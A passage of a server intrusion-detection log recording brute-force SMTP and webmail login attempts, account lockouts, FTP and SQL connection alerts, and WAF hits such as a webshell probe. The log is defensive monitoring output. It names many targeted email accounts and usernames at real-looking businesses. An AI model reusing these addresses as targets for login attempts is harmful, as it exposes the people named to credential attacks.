country_id: 6252001
description:
2026-01-31 12:14:36 dovecot_login authenticator failed for H=syn-137-027-032-070.biz.spectrum.com [137.27.32.70]:55774: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:14:08 dovecot_login authenticator failed for H=(vQpA7b) [2.58.56.77]:56562: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:14:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-01-31 12:14:05 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:46588: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 12:15:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 11307
name: Multiple connection attempts from same source
abuser: 35.216.144.195
country_id: 2658434
description:
Jan 31 12:15:20 sv3 pure-ftpd[4095652]: (?@35.216.144.195) [INFO] New connection from 35.216.144.195


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:15:18 dovecot_login authenticator failed for H=(K052wR) [2.58.56.77]:64303: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.205
country_id: 337996
description:
2026-01-31 12:15:20 dovecot_login authenticator failed for H=([196.188.187.205]) [196.188.187.205]:34204: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:15:28 dovecot_login authenticator failed for H=(VxPnA6G) [158.94.209.22]:60561: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:15:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:15:10 dovecot_login authenticator failed for H=(c4ksVw) [158.94.209.22]:60449: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-01-31 12:15:12 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:45688: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 35.216.144.195
country_id: 2658434
description:
Jan 31 12:15:16 sv3 pure-ftpd[4095559]: (?@35.216.144.195) [INFO] New connection from 35.216.144.195


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.82.236.69
country_id: 1814991
description:
2026-01-31 12:15:02 dovecot_login authenticator failed for H=([223.82.236.69]) [223.82.236.69]:1431: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-01-31 12:15:03 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:37940: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.211.32.242
country_id: 2328926
description:
2026-01-31 12:15:12 dovecot_login authenticator failed for H=([197.211.32.242]) [197.211.32.242]:55917: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.184.2
country_id: 1269750
description:
2026-01-31 12:16:35 dovecot_login authenticator failed for H=([152.52.238.55]) [182.95.184.2]:40272: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.255.50
country_id: 1269750
description:
2026-01-31 12:16:50 dovecot_login authenticator failed for H=([182.95.203.81]) [122.186.255.50]:48124: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 12:16:02 dovecot_login authenticator failed for H=(8BPWFQ8) [2.58.56.77]:60443: 535 Incorrect authentication data (set_id=norasikin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:16:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 139.162.70.53
country_id: 1861060
description:
2026-01-31 12:16:02 32271 [Warning] Aborted connection 32271 to db: 'unconnected' user: 'unauthenticated' host: '139.162.70.53' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:16:04 dovecot_login authenticator failed for H=(jZY9CzaeL) [158.94.209.22]:57675: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:17:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:17:16 dovecot_login authenticator failed for H=(zlprDRwx0) [158.94.209.22]:61058: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:18:11 dovecot_login authenticator failed for H=(AlRkDDK) [158.94.209.22]:65284: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.192.69.5
country_id: 2635167
description:
2026-01-31 12:18:16 32393 [Warning] Aborted connection 32393 to db: 'unconnected' user: 'unauthenticated' host: '185.192.69.5' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:19:05 dovecot_login authenticator failed for H=(C71BQe) [158.94.209.22]:64178: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.6
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/local/apache/conf/php.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.247.248.154
country_id: 3469034
description:
2026-01-31 12:19:13 dovecot_login authenticator failed for H=([170.247.248.154]) [170.247.248.154]:52837: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-31 12:19:22 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:46892: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:19:23 dovecot_login authenticator failed for H=(H9luB7m) [158.94.209.22]:54245: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.17.91.226
country_id: 1562822
description:
2026-01-31 12:19:49 dovecot_login authenticator failed for H=([103.17.91.226]) [103.17.91.226]:58034: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.106
country_id: 1269750
description:
2026-01-31 12:20:26 dovecot_login authenticator failed for H=(nsg-corporate-121.229.185.122.airtel.in) [122.186.202.106]:47990: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-31 12:20:41 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:35904: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-01-31 12:20:52 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:40674: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.86.17.217
country_id: 6252001
description:
[2026-01-31 12:20:49 +0800] info [webmaild] 45.86.17.217 - intercessors@agpc.org.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:20:51 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.33.79
country_id: 1819730
description:
2026-01-31 12:20:05 dovecot_login authenticator failed for H=079.33.246.220.static.netvigator.com [220.246.33.79]:52675: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:20:17 dovecot_login authenticator failed for H=(mWxCmH) [158.94.209.22]:54365: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-31 12:21:52 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:41784: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.170.15
country_id: 3175395
description:
2026-01-31 12:21:29 dovecot_plain authenticator failed for H=([100.64.100.6]) [2.57.170.15]:56386: 535 Incorrect authentication data (set_id=rnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:21:11 dovecot_login authenticator failed for H=(DXnxuoBG) [158.94.209.22]:59716: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.68.199
country_id: 1835841
description:
2026-01-31 12:21:25 dovecot_login authenticator failed for H=([183.98.68.199]) [183.98.68.199]:38730: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:21:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:22:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.193.127
country_id: 1814991
description:
2026-01-31 12:22:38 dovecot_login authenticator failed for H=([183.167.193.127]) [183.167.193.127]:36766: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 37.19.223.107
country_id: 2782113
domain: pftfood.com
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:7.71||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/454/feedback||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:22:05 dovecot_login authenticator failed for H=(C3bFdW5) [158.94.209.22]:59159: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-31 12:22:28 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:53278: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.188
country_id: 1814991
description:
2026-01-31 12:23:00 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:21620: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-31 12:22:13 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:54314: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 37.19.223.107
country_id: 2782113
domain: pftfood.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/454/feedback||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-01-31 12:23:48 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:35381: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-01-31 12:23:52 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:41068: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.39.82
country_id: 1814991
description:
2026-01-31 12:23:07 dovecot_login authenticator failed for H=([60.174.39.82]) [60.174.39.82]:51632: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:23:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-31 12:23:25 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:40961: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-31 12:23:15 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:56948: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-01-31 12:23:21 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:57214: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:23:35 dovecot_login authenticator failed for H=(HhA7Ta) [158.94.209.22]:56213: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.74.106.169
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/swiftmailer/swiftmailer/doc/plugins.rst HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:23:17 dovecot_login authenticator failed for H=(UDlkGbIJvm) [158.94.209.22]:49414: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:24:11 dovecot_login authenticator failed for H=(fN7kEkmp7y) [158.94.209.22]:64114: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.107.1
country_id: 1269750
description:
2026-01-31 12:24:12 dovecot_login authenticator failed for H=([144.24.107.1]) [144.24.107.1]:33804: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.171.226
country_id: 2017370
description:
2026-01-31 12:24:03 dovecot_login authenticator failed for H=([83.239.171.226]) [83.239.171.226]:41470: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:24:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.212.110.237
country_id: 3144096
description:
2026-01-31 12:24:55 dovecot_login authenticator failed for H=(cm-46.212.110.237.get.no) [46.212.110.237]:43292: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.178.165.251
country_id: 1835841
description:
2026-01-31 12:24:45 dovecot_login authenticator failed for H=([211.178.165.251]) [211.178.165.251]:37744: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-01-31 12:24:23 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:48666: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: tst-ma.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home/tstmacom/public_html/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:25:05 dovecot_login authenticator failed for H=(aQlSc0R11) [158.94.209.22]:60034: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:25:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:26:17 dovecot_login authenticator failed for H=(tscpJimCiL) [158.94.209.22]:51626: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.220.30
country_id: 1269750
description:
2026-01-31 12:26:43 dovecot_login authenticator failed for H=([125.19.220.30]) [125.19.220.30]:50522: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-01-31 12:26:31 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:59536: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
country_id: 6252001
description:
2026-01-31 12:26:42 dovecot_login authenticator failed for H=24-119-144-86.cpe.sparklight.net [24.119.144.86]:57974: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.15.246.138
country_id: 2635167
description:
[2026-01-31 12:26:59 +0800] info [webmaild] 45.15.246.138 - prayerlink@agpc.org.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.98.212.74
country_id: 1835841
description:
2026-01-31 12:26:30 dovecot_login authenticator failed for H=([183.98.212.74]) [183.98.212.74]:34011: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.185.130.103
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=3&sub=40 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.49.14
country_id: 1814991
description:
2026-01-31 12:27:21 dovecot_login authenticator failed for H=([121.18.49.14]) [121.18.49.14]:56726: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:27:47 dovecot_login authenticator failed for H=(k5sNXIkme1) [158.94.209.22]:58231: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.70.134
country_id: 1819730
description:
2026-01-31 12:27:53 dovecot_login authenticator failed for H=42-200-70-134.static.imsbiz.com [42.200.70.134]:34543: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:27:11 dovecot_login authenticator failed for H=(tur7ZdYan8) [158.94.209.22]:56687: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.146
country_id: 1819730
description:
2026-01-31 12:27:38 dovecot_login authenticator failed for H=(223-197-145-146.static.imsbiz.com) [223.197.145.146]:49401: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-31 12:27:50 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:51663: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.64.237
country_id: 1835841
description:
2026-01-31 12:28:28 dovecot_login authenticator failed for H=([1.241.64.237]) [1.241.64.237]:44072: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.56.52.79
country_id: 6251999
description:
2026-01-31 12:28:50 dovecot_login authenticator failed for H=(ADMIN) [212.56.52.79]:14175: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.237.177.239
country_id: 1562822
description:
2026-01-31 12:28:20 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [171.237.177.239]:8047: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.146.248.7
country_id: 1861060
description:
2026-01-31 12:28:01 dovecot_login authenticator failed for H=7.248.146.34.bc.googleusercontent.com [34.146.248.7]:37298: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-01-31 12:28:36 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:60292: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.239.150.15
country_id: 3996063
description:
2026-01-31 12:28:44 dovecot_login authenticator failed for H=(170-239-150-15.internet.ientc.net.mx) [170.239.150.15]:40568: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.50.5.94
country_id: 1269750
description:
2026-01-31 12:28:53 dovecot_login authenticator failed for H=([103.50.5.94]) [103.50.5.94]:38483: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.97.5
country_id: 1814991
description:
2026-01-31 12:28:26 dovecot_login authenticator failed for H=([111.61.97.5]) [111.61.97.5]:47996: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:28:39 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:28:05 dovecot_login authenticator failed for H=(p8T8UyQg) [158.94.209.22]:54378: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.22.116.94
country_id: 1269750
description:
2026-01-31 12:29:50 dovecot_login authenticator failed for H=([152.52.234.222]) [125.22.116.94]:60234: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-01-31 12:29:35 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:26536: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-01-31 12:29:02 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:55888: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:29:17 dovecot_login authenticator failed for H=(Hdc1VMg) [158.94.209.22]:61087: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.150.100.174
country_id: 2635167
description:
2026-01-31 12:29:35 dovecot_login authenticator failed for H=host86-150-100-174.range86-150.btcentralplus.com [86.150.100.174]:51311: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-31 12:29:44 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:45274: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 12:29:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 167.94.138.203
country_id: 6252001
description:
Jan 31 12:30:49 sv3 pure-ftpd[4108325]: (?@167.94.138.203) [INFO] New connection from 167.94.138.203


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.208.142.26
country_id: 1835841
description:
2026-01-31 12:30:59 dovecot_login authenticator failed for H=([175.208.142.26]) [175.208.142.26]:53090: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-31 12:30:03 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:21524: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-31 12:30:02 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:37695: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.187
country_id: 1269750
description:
2026-01-31 12:30:03 dovecot_login authenticator failed for H=(nsg-corporate-187.230.187.122.airtel.in) [122.187.230.187]:45928: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 12:30:11 dovecot_login authenticator failed for H=(zmPSOvkpe5) [158.94.209.22]:59103: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
